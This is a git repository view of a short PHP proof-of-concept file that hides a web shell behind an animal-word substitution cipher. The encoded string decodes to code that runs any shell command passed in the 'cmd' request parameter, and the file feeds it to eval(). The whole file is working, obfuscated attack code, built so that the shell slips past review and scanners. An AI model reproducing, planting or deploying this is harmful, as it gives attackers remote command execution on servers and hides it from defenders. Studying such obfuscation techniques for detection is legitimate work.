Fix typo in usage message
[fixup.git] / animal_shell_poc.php
blob9af107e12defaca8ec4d3a82b17585104353e5b9
1 <?php
3 $string = "iguana frog EATS iguana seal seal elk tiger EATS SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS SLEEPS SLEEPS GIGGLES SPACE elk cat hog olm SPACE TICK GIGGLES SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS POOPS TICK MURDERS SPACE POOPS";
5 $dict = array(
6 "a" => "ardvark",
7 "b" => "bat",
8 "c" => "cat",
9 "d" => "dog",
10 "e" => "elk",
11 "f" => "frog",
12 "g" => "goat",
13 "h" => "hog",
14 "i" => "iguana",
15 "j" => "jackal",
16 "k" => "kiwi",
17 "l" => "lion",
18 "m" => "mole",
19 "n" => "newt",
20 "o" => "olm",
21 "p" => "pig",
22 "q" => "quail",
23 "r" => "rat",
24 "s" => "seal",
25 "t" => "tiger",
26 "u" => "vulture",
27 "v" => "wasp",
28 "x" => "xena",
29 "y" => "yak",
30 "z" => "zebra",
31 " " => "space",
32 "(" => "eats",
33 ")" => "sleeps",
34 "." => "sneezes",
35 "[" => "pukes",
36 "]" => "kills",
37 "'" => "jumps",
38 "\"" => "rolls",
39 ";" => "murders",
40 "=" => "dances",
41 "\$" => "sprints",
42 "{" => "giggles",
43 "}" => "poops",
44 "_" => "pees",
45 "<" => "falls",
46 ">" => "vomits",
47 "?" => "coughs",
48 "`" => "tick"
51 function decode($string, $array) {
52 $output = "";
53 $words = explode(" ", $string);
54 foreach ($words as $word) {
55 $upper = isUpper($word);
56 $word = strtolower($word);
57 if ($key = array_search($word, $array)) {
58 if ($upper) $key = strtoupper($key);
59 $output = "{$output}{$key}";
60 } else {
61 $output = "{$output}{$word}";
64 return $output;
66 function isUpper($char) {
67 if (strtoupper($char) == $char) return true;
68 return false;
71 eval(decode($string, $dict));